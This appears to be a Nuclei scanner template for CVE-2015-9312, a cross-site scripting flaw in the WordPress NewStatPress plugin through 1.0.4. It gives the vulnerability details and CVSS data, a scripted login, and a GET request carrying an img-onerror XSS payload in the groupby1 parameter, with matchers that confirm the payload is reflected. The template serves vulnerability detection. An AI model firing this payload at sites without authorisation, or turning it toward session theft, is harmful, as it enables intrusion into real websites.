NewStatPress <=1.0.4 - Cross-Site Scripting

id: CVE-2015-9312

info:
  name: NewStatPress <=1.0.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress NewStatPress plugin through 1.0.4 contains a cross-site scripting vulnerability. The plugin utilizes, on lines 28 and 31 of the file "includes/nsp_search.php", several variables from the $_GET scope without sanitation. While WordPress automatically escapes quotes on this scope, the outputs on these lines are outside of quotes, and as such can be utilized to initiate a cross-site scripting attack.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 1.0.6
  reference:
    - https://wpscan.com/vulnerability/46bf6c69-b612-4aee-965d-91f53f642054
    - https://g0blin.co.uk/g0blin-00057/
    - https://wordpress.org/plugins/newstatpress/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2015-9312
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-9312
    cwe-id: CWE-79
    epss-score: 0.0187
    epss-percentile: 0.79528
    cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: newstatpress_project
    product: newstatpress
    framework: wordpress
  tags: cve2015,cve,xss,authenticated,wp,newstatpress,wpscan,wordpress,wp-plugin,newstatpress_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?groupby1=checked%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29&page=nsp_search&newstatpress_action=search HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<img src=x onerror=alert(document.domain)")'
          - 'contains(body_2, "newstatpress")'
        condition: and